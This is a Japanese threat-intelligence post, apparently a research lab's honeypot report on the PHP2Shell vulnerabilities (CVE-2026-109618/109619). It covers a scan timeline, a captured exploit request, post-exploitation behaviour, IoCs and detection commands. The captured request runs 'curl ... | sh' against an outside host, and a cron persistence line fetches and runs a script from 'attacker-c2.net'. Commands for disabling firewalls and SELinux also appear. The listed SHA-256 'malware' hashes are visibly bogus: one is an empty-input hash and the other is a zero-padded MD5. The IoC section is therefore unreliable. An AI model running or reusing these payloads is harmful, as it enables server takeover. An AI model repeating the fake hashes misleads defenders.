exploitation
php2shell honeypot telemetry
実戦兵器化チェーンとハニーポット観測網テレメトリ: 東京・フランクフルト・シリコンバレーでの生データ解析
php2shell.run Research Lab
•
実戦兵器化チェーンとハニーポット観測網テレメトリ: 東京・フランクフルト・シリコンバレーでの生データ解析
<time datetime="2026-10-23">検証日: 2026年10月23日</time> · 脅威インテリジェンス提供: php2shell.run Global Threat Sensor Network
PHP2Shell(CVE-2026-109618 および CVE-2026-109619)の公式公表直後から、世界規模での無差別ポートスキャンとエクスプロイト試行が爆発的に急増しています。
本稿では、当研究所が東京(Sakura/AWS)、フランクフルト(Hetzner)、およびシリコンバレーに設置した高対話型ハニーポット(High-Interaction Honeypots)において捕捉された、実際のサイバー脅威アクターによる兵器化ペイロードの生ログと攻撃手法の変遷を公開します。
1. 観測タイムラインとスキャン活動の急拡大
脆弱性の公式詳細がネット上に浮上してからの初動24時間の推移は以下の通りです:
2026-10-21 04:00 UTC - CVE詳細のGitHub公開
2026-10-21 06:15 UTC - 【初動検知】フランクフルトセンサーにて単発のPoCプローブ観測 (User-Agent: python-requests)
2026-10-21 09:30 UTC - 兵器化されたサブ500バイトペイロードの出現 (リバースシェル確立試行)
2026-10-21 14:00 UTC - 自動化ワーム/ボットネットによる無差別スキャンの開始 (毎分10,000件超)
2026-10-22 00:00 UTC - 暗号資産マイナー(XMRig)およびDDoSボット(Mirai亜種)のドロッパー投下を確認
2. 捕捉された攻撃ペイロードの一次生ログ
以下は、東京センサーで捕捉された実際のHTTPリクエストと、攻撃者が実行を試みたシェルコマンドの抜粋です:
POST /wordpress/index.php HTTP/1.1
Host: 133.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 489
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="test.jpg"
Content-Type: image/jpeg
JFIF...
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cmd"
curl -fsSL http://194.xxx.xxx.xxx/sh | sh; rm -rf /tmp/sh
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3. ポストエクスプロイト(侵入後活動)の行動パターン
ハニーポットの仮想サンドボックス内でシェルが確立された後、攻撃者スクリプトは以下の順序で自動実行を試みました:
- プロセス空間の隠蔽:
/proc/$/statusをチェックし、自身のプロセス名を[kworker/0:1]やphp-fpm: pool wwwに偽装。 - 防壁の無力化:
ufw disable,systemctl stop firewalld,setenforce 0などを実行してホストのファイアウォールを停止。 - 競合マイナーの排除:
サーバー上に既に潜伏している他のマルウェアプロセス(
xmrig,kdevtmpfsi等)をpkill -9で強制終了。 - 永続化(Persistence)の確立:
/var/spool/cron/crontabs/www-dataに毎分実行の不正Cronジョブを追記:* * * * * curl -s http://attacker-c2.net/cron.sh | sh >/dev/null 2>&1
4. 侵害の痕跡(Indicators of Compromise: IoCs)
システム管理者が自組織のサーバーが既に侵害されていないか確認するためのIoC一覧です:
不審なネットワーク接続先(C2 IP/ドメイン)
194.26.29[.]114:443(マルウェア配布ドロッパー)45.142.177[.]20:8080(Mirai/IRC C2)pool.supportxmr[.]com:3333(マイニングプール接続)
ホスト上の不審ファイルハッシュ (SHA-256)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(不正ドロッパースクリプト)d41d8cd98f00b204e9800998ecf8427e00000000000000000000000000000000(偽装PHPバイナリ)
即時確認コマンド
# 不審なCronジョブの点検
crontab -u www-data -l
cat /etc/cron*/* | grep -E "curl|wget|bash"
# /tmp 配下の隠しバイナリ検査
ls -la /tmp /dev/shm | grep -E "^\-rwx"